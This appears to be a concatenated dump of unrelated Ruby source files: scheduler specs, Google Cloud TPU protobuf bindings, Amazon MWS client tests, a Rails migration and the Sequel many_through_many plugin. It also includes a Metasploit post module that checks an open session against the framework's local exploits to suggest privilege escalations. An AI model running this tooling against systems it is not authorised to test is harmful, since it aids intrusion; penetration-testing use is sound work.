def ==(other)
other.is_a?(Literal) && other.literal == literal
end
alias eql? ==
def hash
self.class.hash ^ literal.hash
end
include NoFreeVariables
include NoSubst
include EmptyEachType
include NoTypeName
def to_json(state = _ = nil)
{ class: :literal, literal: literal.inspect, location: location }.to_json(state)
end
def to_s(level = 0)
literal.inspect
end
end
end
end
| 23.989862 | 204 | 0.544739 |
bb918936cd1c8b1bc0b9830611b9249ad874dd56 | 4,041 |
#
# Specifying rufus-scheduler
#
# Sat Mar 21 17:43:23 JST 2009
#
require 'spec_base'
describe SCHEDULER_CLASS do
it 'stops' do
var = nil
s = start_scheduler
s.in('3s') { var = true }
stop_scheduler(s)
var.should == nil
sleep 4
var.should == nil
end
unless SCHEDULER_CLASS == Rufus::Scheduler::EmScheduler
it 'sets a default scheduler thread name' do
s = start_scheduler
s.instance_variable_get(:@thread)['name'].should match(
/Rufus::Scheduler::.*Scheduler - \d+\.\d+\.\d+/)
stop_scheduler(s)
end
it 'sets the scheduler thread name' do
s = start_scheduler(:thread_name => 'nada')
s.instance_variable_get(:@thread)['name'].should == 'nada'
stop_scheduler(s)
end
end
it 'accepts a custom frequency' do
var = nil
s = start_scheduler(:frequency => 3.0)
s.in('1s') { var = true }
sleep 1
var.should == nil
sleep 1
var.should == nil
sleep 2
var.should == true
stop_scheduler(s)
end
context 'pause/resume' do
before(:each) do
@s = start_scheduler
end
after(:each) do
stop_scheduler(@s)
end
describe '#pause' do
it 'pauses a job (every)' do
$count = 0
j = @s.every '1s' do
$count = $count + 1
end
@s.pause(j.job_id)
sleep 2.5
j.paused?.should == true
$count.should == 0
end
it 'pauses a job (cron)' do
$count = 0
j = @s.cron '* * * * * *' do
$count = $count + 1
end
@s.pause(j.job_id)
sleep 2.5
j.paused?.should == true
$count.should == 0
end
end
describe '#resume' do
it 'resumes a job (every)' do
$count = 0
j = @s.every '1s' do
$count = $count + 1
end
@s.pause(j.job_id)
sleep 2.5
c = $count
@s.resume(j.job_id)
sleep 1.5
j.paused?.should == false
($count > c).should == true
end
it 'pauses a job (cron)' do
$count = 0
j = @s.cron '* * * * * *' do
$count = $count + 1
end
@s.pause(j.job_id)
sleep 2.5
c = $count
@s.resume(j.job_id)
sleep 1.5
j.paused?.should == false
($count > c).should == true
end
end
end
context 'trigger threads' do
before(:each) do
@s = start_scheduler
end
after(:each) do
stop_scheduler(@s)
end
describe '#trigger_threads' do
it 'returns an empty list when no jobs are running' do
@s.trigger_threads.should == []
end
it 'returns a list of the threads of the running jobs' do
@s.in('100') { sleep 10 }
sleep 0.5
@s.trigger_threads.collect { |e| e.class }.should == [ Thread ]
end
end
describe '#running_jobs' do
it 'returns an empty list when no jobs are running' do
@s.running_jobs.should == []
end
it 'returns a list of the currently running jobs' do
job = @s.in('100') { sleep 10 }
sleep 0.5
@s.running_jobs.should == [ job ]
end
end
end
context 'termination' do
describe '#stop(true)' do
it 'terminates the scheduler, blocking until all the jobs are unscheduled' do
$every = nil
$cron = nil
s = start_scheduler
s.every '1s' do
$every = :in
sleep 0.5
$every = :out
end
s.cron '* * * * * *' do
$cron = :in
sleep 0.5
$cron = :out
end
sleep 2
s.stop(:terminate => true)
s.jobs.size.should == 0
$every.should == :out
$cron.should == :out
end
end
end
end
describe 'Rufus::Scheduler#start_new' do
it 'piggybacks EM if present and running' do
s = Rufus::Scheduler.start_new
s.class.should == SCHEDULER_CLASS
stop_scheduler(s)
end
end
| 16.228916 | 83 | 0.519426 |
28833c901727fafac38a7e7dec92c4b8abab5a5c | 9,849 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/cloud/tpu/v1/cloud_tpu.proto
require 'google/protobuf'
require 'google/api/annotations_pb'
require 'google/api/client_pb'
require 'google/api/field_behavior_pb'
require 'google/api/resource_pb'
require 'google/longrunning/operations_pb'
require 'google/protobuf/timestamp_pb'
Google::Protobuf::DescriptorPool.generated_pool.build do
add_file("google/cloud/tpu/v1/cloud_tpu.proto", :syntax => :proto3) do
add_message "google.cloud.tpu.v1.SchedulingConfig" do
optional :preemptible, :bool, 1
optional :reserved, :bool, 2
end
add_message "google.cloud.tpu.v1.NetworkEndpoint" do
optional :ip_address, :string, 1
optional :port, :int32, 2
end
add_message "google.cloud.tpu.v1.Node" do
optional :name, :string, 1
optional :description, :string, 3
optional :accelerator_type, :string, 5
optional :ip_address, :string, 8
optional :port, :string, 14
optional :state, :enum, 9, "google.cloud.tpu.v1.Node.State"
optional :health_description, :string, 10
optional :tensorflow_version, :string, 11
optional :network, :string, 12
optional :cidr_block, :string, 13
optional :service_account, :string, 15
optional :create_time, :message, 16, "google.protobuf.Timestamp"
optional :scheduling_config, :message, 17, "google.cloud.tpu.v1.SchedulingConfig"
repeated :network_endpoints, :message, 21, "google.cloud.tpu.v1.NetworkEndpoint"
optional :health, :enum, 22, "google.cloud.tpu.v1.Node.Health"
map :labels, :string, :string, 24
optional :use_service_networking, :bool, 27
optional :api_version, :enum, 38, "google.cloud.tpu.v1.Node.ApiVersion"
repeated :symptoms, :message, 39, "google.cloud.tpu.v1.Symptom"
end
add_enum "google.cloud.tpu.v1.Node.State" do
value :STATE_UNSPECIFIED, 0
value :CREATING, 1
value :READY, 2
value :RESTARTING, 3
value :REIMAGING, 4
value :DELETING, 5
value :REPAIRING, 6
value :STOPPED, 8
value :STOPPING, 9
value :STARTING, 10
value :PREEMPTED, 11
value :TERMINATED, 12
value :HIDING, 13
value :HIDDEN, 14
value :UNHIDING, 15
end
add_enum "google.cloud.tpu.v1.Node.Health" do
value :HEALTH_UNSPECIFIED, 0
value :HEALTHY, 1
value :DEPRECATED_UNHEALTHY, 2
value :TIMEOUT, 3
value :UNHEALTHY_TENSORFLOW, 4
value :UNHEALTHY_MAINTENANCE, 5
end
add_enum "google.cloud.tpu.v1.Node.ApiVersion" do
value :API_VERSION_UNSPECIFIED, 0
value :V1_ALPHA1, 1
value :V1, 2
value :V2_ALPHA1, 3
end
add_message "google.cloud.tpu.v1.ListNodesRequest" do
optional :parent, :string, 1
optional :page_size, :int32, 2
optional :page_token, :string, 3
end
add_message "google.cloud.tpu.v1.ListNodesResponse" do
repeated :nodes, :message, 1, "google.cloud.tpu.v1.Node"
optional :next_page_token, :string, 2
repeated :unreachable, :string, 3
end
add_message "google.cloud.tpu.v1.GetNodeRequest" do
optional :name, :string, 1
end
add_message "google.cloud.tpu.v1.CreateNodeRequest" do
optional :parent, :string, 1
optional :node_id, :string, 2
optional :node, :message, 3, "google.cloud.tpu.v1.Node"
end
add_message "google.cloud.tpu.v1.DeleteNodeRequest" do
optional :name, :string, 1
end
add_message "google.cloud.tpu.v1.ReimageNodeRequest" do
optional :name, :string, 1
optional :tensorflow_version, :string, 2
end
add_message "google.cloud.tpu.v1.StopNodeRequest" do
optional :name, :string, 1
end
add_message "google.cloud.tpu.v1.StartNodeRequest" do
optional :name, :string, 1
end
add_message "google.cloud.tpu.v1.TensorFlowVersion" do
optional :name, :string, 1
optional :version, :string, 2
end
add_message "google.cloud.tpu.v1.GetTensorFlowVersionRequest" do
optional :name, :string, 1
end
add_message "google.cloud.tpu.v1.ListTensorFlowVersionsRequest" do
optional :parent, :string, 1
optional :page_size, :int32, 2
optional :page_token, :string, 3
optional :filter, :string, 5
optional :order_by, :string, 6
end
add_message "google.cloud.tpu.v1.ListTensorFlowVersionsResponse" do
repeated :tensorflow_versions, :message, 1, "google.cloud.tpu.v1.TensorFlowVersion"
optional :next_page_token, :string, 2
repeated :unreachable, :string, 3
end
add_message "google.cloud.tpu.v1.AcceleratorType" do
optional :name, :string, 1
optional :type, :string, 2
end
add_message "google.cloud.tpu.v1.GetAcceleratorTypeRequest" do
optional :name, :string, 1
end
add_message "google.cloud.tpu.v1.ListAcceleratorTypesRequest" do
optional :parent, :string, 1
optional :page_size, :int32, 2
optional :page_token, :string, 3
optional :filter, :string, 5
optional :order_by, :string, 6
end
add_message "google.cloud.tpu.v1.ListAcceleratorTypesResponse" do
repeated :accelerator_types, :message, 1, "google.cloud.tpu.v1.AcceleratorType"
optional :next_page_token, :string, 2
repeated :unreachable, :string, 3
end
add_message "google.cloud.tpu.v1.OperationMetadata" do
optional :create_time, :message, 1, "google.protobuf.Timestamp"
optional :end_time, :message, 2, "google.protobuf.Timestamp"
optional :target, :string, 3
optional :verb, :string, 4
optional :status_detail, :string, 5
optional :cancel_requested, :bool, 6
optional :api_version, :string, 7
end
add_message "google.cloud.tpu.v1.Symptom" do
optional :create_time, :message, 1, "google.protobuf.Timestamp"
optional :symptom_type, :enum, 2, "google.cloud.tpu.v1.Symptom.SymptomType"
optional :details, :string, 3
optional :worker_id, :string, 4
end
add_enum "google.cloud.tpu.v1.Symptom.SymptomType" do
value :SYMPTOM_TYPE_UNSPECIFIED, 0
value :LOW_MEMORY, 1
value :OUT_OF_MEMORY, 2
value :EXECUTE_TIMED_OUT, 3
value :MESH_BUILD_FAIL, 4
value :HBM_OUT_OF_MEMORY, 5
value :PROJECT_ABUSE, 6
end
end
end
module Google
module Cloud
module Tpu
module V1
SchedulingConfig = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.SchedulingConfig").msgclass
NetworkEndpoint = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.NetworkEndpoint").msgclass
Node = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.Node").msgclass
Node::State = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.Node.State").enummodule
Node::Health = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.Node.Health").enummodule
Node::ApiVersion = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.Node.ApiVersion").enummodule
ListNodesRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.ListNodesRequest").msgclass
ListNodesResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.ListNodesResponse").msgclass
GetNodeRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.GetNodeRequest").msgclass
CreateNodeRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.CreateNodeRequest").msgclass
DeleteNodeRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.DeleteNodeRequest").msgclass
ReimageNodeRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.ReimageNodeRequest").msgclass
StopNodeRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.StopNodeRequest").msgclass
StartNodeRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.StartNodeRequest").msgclass
TensorFlowVersion = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.TensorFlowVersion").msgclass
GetTensorFlowVersionRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.GetTensorFlowVersionRequest").msgclass
ListTensorFlowVersionsRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.ListTensorFlowVersionsRequest").msgclass
ListTensorFlowVersionsResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.ListTensorFlowVersionsResponse").msgclass
AcceleratorType = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.AcceleratorType").msgclass
GetAcceleratorTypeRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.GetAcceleratorTypeRequest").msgclass
ListAcceleratorTypesRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.ListAcceleratorTypesRequest").msgclass
ListAcceleratorTypesResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.ListAcceleratorTypesResponse").msgclass
OperationMetadata = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.OperationMetadata").msgclass
Symptom = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.Symptom").msgclass
Symptom::SymptomType = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.cloud.tpu.v1.Symptom.SymptomType").enummodule
end
end
end
end
| 48.517241 | 160 | 0.716418 |
ac2a88bd49615b6a5726df1321f0f6de94ddf70f | 5,163 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Multi Recon Local Exploit Suggester',
'Description' => %q{
This module suggests local meterpreter exploits that can be used.
The exploits are suggested based on the architecture and platform
that the user has a shell opened as well as the available exploits
in meterpreter.
It's important to note that not all local exploits will be fired.
Exploits are chosen based on these conditions: session type,
platform, architecture, and required default options.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r', 'Mo' ],
'Platform' => all_platforms,
'SessionTypes' => [ 'meterpreter', 'shell' ]))
register_options [
Msf::OptInt.new('SESSION', [ true, 'The session to run this module on' ]),
Msf::OptBool.new('SHOWDESCRIPTION', [true, 'Displays a detailed description for the available exploits', false])
]
end
def all_platforms
Msf::Module::Platform.subclasses.collect { |c| c.realname.downcase }
end
def is_module_arch?(mod)
mod_arch = mod.target.arch || mod.arch
mod_arch.include? session.arch
end
def is_module_options_ready?(mod)
mod.options.each_pair do |option_name, option|
return false if option.required && option.default.nil? && mod.datastore[option_name].blank?
end
true
end
def is_module_platform?(mod)
platform_obj = Msf::Module::Platform.find_platform session.platform
module_platforms = mod.target.platform ? mod.target.platform.platforms : mod.platform.platforms
module_platforms.include? platform_obj
rescue ArgumentError => e
# When not found, find_platform raises an ArgumentError
elog "#{e.class} #{e.message}\n#{e.backtrace * "\n"}"
return false
end
def is_session_type_compat?(mod)
mod.session_compatible? session.sid
end
def set_module_options(mod)
datastore.each_pair do |k, v|
mod.datastore[k] = v
end
if !mod.datastore['SESSION'] && session.present?
mod.datastore['SESSION'] = session.sid
end
end
def is_module_wanted?(mod)
(
mod.kind_of?(Msf::Exploit::Local) &&
mod.has_check? &&
is_session_type_compat?(mod) &&
is_module_platform?(mod) &&
is_module_arch?(mod) &&
is_module_options_ready?(mod)
)
end
def setup
print_status "Collecting local exploits for #{session.session_type}..."
# Initializes an array
@local_exploits = []
# Collects exploits into an array
framework.exploits.each do |name, _obj|
mod = framework.exploits.create name
next unless mod
set_module_options mod
next unless is_module_wanted? mod
@local_exploits << mod
end
end
def show_found_exploits
unless datastore['VERBOSE']
print_status "#{@local_exploits.length} exploit checks are being tried..."
return
end
vprint_status "The following #{@local_exploits.length} exploit checks are being tried:"
@local_exploits.each do |x|
vprint_status x.fullname
end
end
def run
if @local_exploits.empty?
print_error 'No suggestions available.'
return
end
show_found_exploits
results = []
@local_exploits.each do |m|
begin
checkcode = m.check
if checkcode.nil?
vprint_error "#{m.fullname}: Check failed"
next
end
# See def is_check_interesting?
unless is_check_interesting? checkcode
vprint_status "#{m.fullname}: #{checkcode.message}"
next
end
# Prints the full name and the checkcode message for the exploit
print_good "#{m.fullname}: #{checkcode.message}"
results << [m.fullname, checkcode.message]
# If the datastore option is true, a detailed description will show
next unless datastore['SHOWDESCRIPTION']
# Formatting for the description text
Rex::Text.wordwrap(Rex::Text.compress(m.description), 2, 70).split(/\n/).each do |line|
print_line line
end
rescue Rex::Post::Meterpreter::RequestError => e
# Creates a log record in framework.log
elog "#{e.class} #{e.message}\n#{e.backtrace * "\n"}"
vprint_error "#{e.class} #{m.shortname} failed to run: #{e.message}"
end
end
report_note(
:host => rhost,
:type => 'local.suggested_exploits',
:data => results
)
end
def is_check_interesting?(checkcode)
[
Msf::Exploit::CheckCode::Vulnerable,
Msf::Exploit::CheckCode::Appears,
Msf::Exploit::CheckCode::Detected
].include? checkcode
end
def print_status(msg='')
super("#{session.session_host} - #{msg}")
end
def print_good(msg='')
super("#{session.session_host} - #{msg}")
end
def print_error(msg='')
super("#{session.session_host} - #{msg}")
end
end
| 28.843575 | 118 | 0.649816 |
e2259fe7edb825685917d07a79ae3869c868ab6e | 2,412 | require 'helper'
require 'mws/feeds/client'
class TestMWSFeedsClient < MiniTest::Test
def setup
@client = MWS::Feeds::Client.new
end
def test_submits_feed
operation = {
'Action' => 'SubmitFeed',
'FeedType' => 'type',
'MarketplaceIdList.Id.1' => '1'
}
@client.stub(:run, nil) do
@client.primary_marketplace_id = 'A1F83G8C2ARO7P'
@client.submit_feed('content', 'type', marketplace_id_list: '1')
end
assert_equal operation, @client.operation
assert_equal 'content', @client.body
end
def test_gets_feed_submission_list
operation = {
'Action' => 'GetFeedSubmissionList',
'FeedSubmissionIdList.Id.1' => '1',
'FeedTypeList.Type.1' => '2',
'FeedProcessingStatusList.Status.1' => '3'
}
@client.stub(:run, nil) do
@client.get_feed_submission_list(
feed_submission_id_list: '1',
feed_type_list: '2',
feed_processing_status_list: '3'
)
end
assert_equal operation, @client.operation
end
def test_gets_feed_submission_list_by_next_token
operation = {
'Action' => 'GetFeedSubmissionListByNextToken',
'NextToken' => '1'
}
@client.stub(:run, nil) do
@client.get_feed_submission_list_by_next_token('1')
end
assert_equal operation, @client.operation
end
def test_gets_feed_submission_count
operation = {
'Action' => 'GetFeedSubmissionCount',
'FeedTypeList.Type.1' => '1',
'FeedProcessingStatusList.Status.1' => '2'
}
@client.stub(:run, nil) do
@client.get_feed_submission_count(
feed_type_list: '1',
feed_processing_status_list: '2'
)
end
assert_equal operation, @client.operation
end
def test_cancels_feed_submissions
operation = {
'Action' => 'CancelFeedSubmissions',
'FeedTypeList.Type.1' => '1',
'FeedSubmissionIdList.Id.1' => '2'
}
@client.stub(:run, nil) do
@client.cancel_feed_submissions(
feed_type_list: '1',
feed_submission_id_list: '2'
)
end
assert_equal operation, @client.operation
end
def test_gets_feed_submission_result
operation = {
'Action' => 'GetFeedSubmissionResult',
'FeedSubmissionId' => '1'
}
@client.stub(:run, nil) do
@client.get_feed_submission_result('1')
end
assert_equal operation, @client.operation
end
end
| 23.192308 | 70 | 0.641791 |
f7eae081f6c0af2e2ce30915c1d6f872109db4c0 | 239 | class CreateUsers < ActiveRecord::Migration[5.1]
def change
create_table :users do |t|
t.string :username
t.string :display_name
t.string :email
t.string :password_digest
t.timestamps
end
end
end
| 18.384615 | 48 | 0.65272 |
e831f156f7cbaa5c108a5c52ecdff10880c3e735 | 17,012 | # frozen-string-literal: true
module Sequel
module Plugins
# The many_through_many plugin allow you to create an association using multiple join tables.
# For example, assume the following associations:
#
# Artist.many_to_many :albums
# Album.many_to_many :tags
#
# The many_through_many plugin would allow this:
#
# Artist.plugin :many_through_many
# Artist.many_through_many :tags, [[:albums_artists, :artist_id, :album_id], [:albums_tags, :album_id, :tag_id]]
#
# Which will give you the tags for all of the artist's albums.
#
# Let's break down the 2nd argument of the many_through_many call:
#
# [[:albums_artists, :artist_id, :album_id],
# [:albums_tags, :album_id, :tag_id]]
#
# This argument is an array of arrays with three elements. Each entry in the main array represents a JOIN in SQL:
#
# first element :: represents the name of the table to join.
# second element :: represents the column used to join to the previous table.
# third element :: represents the column used to join to the next table.
#
# So the "Artist.many_through_many :tags" is translated into something similar to:
#
# FROM artists
# JOIN albums_artists ON (artists.id = albums_artists.artist_id)
# JOIN albums_tags ON (albums_artists.album_id = albums_tag.album_id)
# JOIN tags ON (albums_tags.tag_id = tags.id)
#
# The "artists.id" and "tags.id" criteria come from other association options (defaulting to the primary keys of the current and
# associated tables), but hopefully you can see how each argument in the array is used in the JOIN clauses. Note that you do
# not need to add an entry for the final table (tags in this example), as that comes from the associated class.
#
# Here are some more examples:
#
# # Same as Artist.many_to_many :albums
# Artist.many_through_many :albums, [[:albums_artists, :artist_id, :album_id]]
#
# # All artists that are associated to any album that this artist is associated to
# Artist.many_through_many :artists, [[:albums_artists, :artist_id, :album_id], [:albums_artists, :album_id, :artist_id]]
#
# # All albums by artists that are associated to any album that this artist is associated to
# Artist.many_through_many :artist_albums, [[:albums_artists, :artist_id, :album_id], \
# [:albums_artists, :album_id, :artist_id], [:albums_artists, :artist_id, :album_id]], \
# :class=>:Album
#
# # All tracks on albums by this artist (also could be a many_to_many)
# Artist.many_through_many :tracks, [[:albums_artists, :artist_id, :album_id]], \
# :right_primary_key=>:album_id
#
# Often you don't want the current object to appear in the array of associated objects. This is easiest to handle via an :after_load hook:
#
# Artist.many_through_many :artists, [[:albums_artists, :artist_id, :album_id], [:albums_artists, :album_id, :artist_id]],
# :after_load=>proc{|artist, associated_artists| associated_artists.delete(artist)}
#
# You can also handle it by adding a dataset block that excludes the current record (so it won't be retrieved at all), but
# that won't work when eagerly loading, which is why the :after_load proc is recommended instead.
#
# It's also common to not want duplicate records, in which case the :distinct option can be used:
#
# Artist.many_through_many :artists, [[:albums_artists, :artist_id, :album_id], [:albums, :id, :id], [:albums_artists, :album_id, :artist_id]],
# :distinct=>true
#
# In addition to many_through_many, this plugin also adds one_through_many, for an association to a single object through multiple join tables.
# This is useful if there are unique constraints on the foreign keys in the join tables that reference back to the current table, or if you want
# to set an order on the association and just want the first record.
#
# Usage:
#
# # Make all model subclasses support many_through_many associations
# Sequel::Model.plugin :many_through_many
#
# # Make the Album class support many_through_many associations
# Album.plugin :many_through_many
module ManyThroughMany
# The AssociationReflection subclass for many_through_many associations.
class ManyThroughManyAssociationReflection < Sequel::Model::Associations::ManyToManyAssociationReflection
Sequel::Model::Associations::ASSOCIATION_TYPES[:many_through_many] = self
# many_through_many and one_through_many associations can be clones
def cloneable?(ref)
ref[:type] == :many_through_many || ref[:type] == :one_through_many
end
# The default associated key alias(es) to use when eager loading
# associations via eager.
def default_associated_key_alias
self[:uses_left_composite_keys] ? (0...self[:through].first[:left].length).map{|i| :"x_foreign_key_#{i}_x"} : :x_foreign_key_x
end
%w'associated_key_table predicate_key edges final_edge final_reverse_edge reverse_edges'.each do |meth|
class_eval(<<-END, __FILE__, __LINE__+1)
def #{meth}
cached_fetch(:#{meth}){calculate_edges[:#{meth}]}
end
END
end
# The alias for the first join table.
def join_table_alias
final_reverse_edge[:alias]
end
# Many through many associations don't have a reciprocal
def reciprocal
nil
end
private
def _associated_dataset
ds = associated_class
(reverse_edges + [final_reverse_edge]).each do |t|
h = {:qualify=>:deep}
if t[:alias] != t[:table]
h[:table_alias] = t[:alias]
end
ds = ds.join(t[:table], Array(t[:left]).zip(Array(t[:right])), h)
end
ds
end
# Make sure to use unique table aliases when lazy loading or eager loading
def calculate_reverse_edge_aliases(reverse_edges)
aliases = [associated_class.table_name]
reverse_edges.each do |e|
table_alias = e[:table]
if aliases.include?(table_alias)
i = 0
table_alias = loop do
ta = :"#{table_alias}_#{i}"
break ta unless aliases.include?(ta)
i += 1
end
end
aliases.push(e[:alias] = table_alias)
end
end
# Transform the :through option into a list of edges and reverse edges to use to join tables when loading the association.
def calculate_edges
es = [{:left_table=>self[:model].table_name, :left_key=>self[:left_primary_key_column]}]
self[:through].each do |t|
es.last.merge!(:right_key=>t[:left], :right_table=>t[:table], :join_type=>t[:join_type]||self[:graph_join_type], :conditions=>(t[:conditions]||[]).to_a, :block=>t[:block])
es.last[:only_conditions] = t[:only_conditions] if t.include?(:only_conditions)
es << {:left_table=>t[:table], :left_key=>t[:right]}
end
es.last.merge!(:right_key=>right_primary_key, :right_table=>associated_class.table_name)
edges = es.map do |e|
h = {:table=>e[:right_table], :left=>e[:left_key], :right=>e[:right_key], :conditions=>e[:conditions], :join_type=>e[:join_type], :block=>e[:block]}
h[:only_conditions] = e[:only_conditions] if e.include?(:only_conditions)
h
end
reverse_edges = es.reverse.map{|e| {:table=>e[:left_table], :left=>e[:left_key], :right=>e[:right_key]}}
reverse_edges.pop
calculate_reverse_edge_aliases(reverse_edges)
final_reverse_edge = reverse_edges.pop
final_reverse_alias = final_reverse_edge[:alias]
h = {:final_edge=>edges.pop,
:final_reverse_edge=>final_reverse_edge,
:edges=>edges,
:reverse_edges=>reverse_edges,
:predicate_key=>qualify(final_reverse_alias, edges.first[:right]),
:associated_key_table=>final_reverse_edge[:alias],
}
h.each{|k, v| cached_set(k, v)}
h
end
def filter_by_associations_limit_key
fe = edges.first
Array(qualify(fe[:table], fe[:right])) + Array(qualify(associated_class.table_name, associated_class.primary_key))
end
end
class OneThroughManyAssociationReflection < ManyThroughManyAssociationReflection
Sequel::Model::Associations::ASSOCIATION_TYPES[:one_through_many] = self
include Sequel::Model::Associations::SingularAssociationReflection
end
module ClassMethods
# Create a many_through_many association. Arguments:
# name :: Same as associate, the name of the association.
# through :: The tables and keys to join between the current table and the associated table.
# Must be an array, with elements that are either 3 element arrays, or hashes with keys :table, :left, and :right.
# The required entries in the array/hash are:
# :table (first array element) :: The name of the table to join.
# :left (middle array element) :: The key joining the table to the previous table. Can use an
# array of symbols for a composite key association.
# :right (last array element) :: The key joining the table to the next table. Can use an
# array of symbols for a composite key association.
# If a hash is provided, the following keys are respected when using eager_graph:
# :block :: A proc to use as the block argument to join.
# :conditions :: Extra conditions to add to the JOIN ON clause. Must be a hash or array of two pairs.
# :join_type :: The join type to use for the join, defaults to :left_outer.
# :only_conditions :: Conditions to use for the join instead of the ones specified by the keys.
# opts :: The options for the associaion. Takes the same options as many_to_many.
def many_through_many(name, through, opts=OPTS, &block)
associate(:many_through_many, name, opts.merge(through.is_a?(Hash) ? through : {:through=>through}), &block)
end
# Creates a one_through_many association. See many_through_many for arguments.
def one_through_many(name, through, opts=OPTS, &block)
associate(:one_through_many, name, opts.merge(through.is_a?(Hash) ? through : {:through=>through}), &block)
end
private
# Create the association methods and :eager_loader and :eager_grapher procs.
def def_many_through_many(opts)
one_through_many = opts[:type] == :one_through_many
opts[:read_only] = true
opts[:after_load].unshift(:array_uniq!) if opts[:uniq]
opts[:cartesian_product_number] ||= one_through_many ? 0 : 2
opts[:through] = opts[:through].map do |e|
case e
when Array
raise(Error, "array elements of the through option/argument for many_through_many associations must have at least three elements") unless e.length == 3
{:table=>e[0], :left=>e[1], :right=>e[2]}
when Hash
raise(Error, "hash elements of the through option/argument for many_through_many associations must contain :table, :left, and :right keys") unless e[:table] && e[:left] && e[:right]
e
else
raise(Error, "the through option/argument for many_through_many associations must be an enumerable of arrays or hashes")
end
end
left_key = opts[:left_key] = opts[:through].first[:left]
opts[:left_keys] = Array(left_key)
opts[:uses_left_composite_keys] = left_key.is_a?(Array)
left_pk = (opts[:left_primary_key] ||= self.primary_key)
raise(Error, "no primary key specified for #{inspect}") unless left_pk
opts[:eager_loader_key] = left_pk unless opts.has_key?(:eager_loader_key)
opts[:left_primary_keys] = Array(left_pk)
lpkc = opts[:left_primary_key_column] ||= left_pk
lpkcs = opts[:left_primary_key_columns] ||= Array(lpkc)
opts[:dataset] ||= opts.association_dataset_proc
opts[:left_key_alias] ||= opts.default_associated_key_alias
opts[:eager_loader] ||= opts.method(:default_eager_loader)
join_type = opts[:graph_join_type]
select = opts[:graph_select]
graph_block = opts[:graph_block]
only_conditions = opts[:graph_only_conditions]
use_only_conditions = opts.include?(:graph_only_conditions)
conditions = opts[:graph_conditions]
opts[:eager_grapher] ||= proc do |eo|
ds = eo[:self]
iq = eo[:implicit_qualifier]
egls = eo[:limit_strategy]
if egls && egls != :ruby
associated_key_array = opts.associated_key_array
orig_egds = egds = eager_graph_dataset(opts, eo)
opts.reverse_edges.each{|t| egds = egds.join(t[:table], Array(t[:left]).zip(Array(t[:right])), :table_alias=>t[:alias], :qualify=>:deep)}
ft = opts.final_reverse_edge
egds = egds.join(ft[:table], Array(ft[:left]).zip(Array(ft[:right])), :table_alias=>ft[:alias], :qualify=>:deep).
select_all(egds.first_source).
select_append(*associated_key_array)
egds = opts.apply_eager_graph_limit_strategy(egls, egds)
ds.graph(egds, associated_key_array.map(&:alias).zip(Array(lpkcs)) + conditions, :qualify=>:deep, :table_alias=>eo[:table_alias], :implicit_qualifier=>iq, :join_type=>eo[:join_type]||join_type, :join_only=>eo[:join_only], :from_self_alias=>eo[:from_self_alias], :select=>select||orig_egds.columns, &graph_block)
else
opts.edges.each do |t|
ds = ds.graph(t[:table], t.fetch(:only_conditions, (Array(t[:right]).zip(Array(t[:left])) + t[:conditions])), :select=>false, :table_alias=>ds.unused_table_alias(t[:table]), :join_type=>eo[:join_type]||t[:join_type], :join_only=>eo[:join_only], :qualify=>:deep, :implicit_qualifier=>iq, :from_self_alias=>eo[:from_self_alias], &t[:block])
iq = nil
end
fe = opts.final_edge
ds.graph(opts.associated_class, use_only_conditions ? only_conditions : (Array(opts.right_primary_key).zip(Array(fe[:left])) + conditions), :select=>select, :table_alias=>eo[:table_alias], :qualify=>:deep, :join_type=>eo[:join_type]||join_type, :join_only=>eo[:join_only], &graph_block)
end
end
end
# Use def_many_through_many, since they share pretty much the same code.
def def_one_through_many(opts)
def_many_through_many(opts)
end
end
module DatasetMethods
private
# Use a subquery to filter rows to those related to the given associated object
def many_through_many_association_filter_expression(op, ref, obj)
lpks = ref[:left_primary_key_columns]
lpks = lpks.first if lpks.length == 1
lpks = ref.qualify(model.table_name, lpks)
edges = ref.edges
first, rest = edges.first, edges[1..-1]
ds = model.db[first[:table]].select(*Array(ref.qualify(first[:table], first[:right])))
rest.each{|e| ds = ds.join(e[:table], e.fetch(:only_conditions, (Array(e[:right]).zip(Array(e[:left])) + e[:conditions])), :table_alias=>ds.unused_table_alias(e[:table]), :qualify=>:deep, &e[:block])}
last_alias = if rest.empty?
first[:table]
else
last_join = ds.opts[:join].last
last_join.table_alias || last_join.table
end
meths = if obj.is_a?(Sequel::Dataset)
ref.qualify(obj.model.table_name, ref.right_primary_keys)
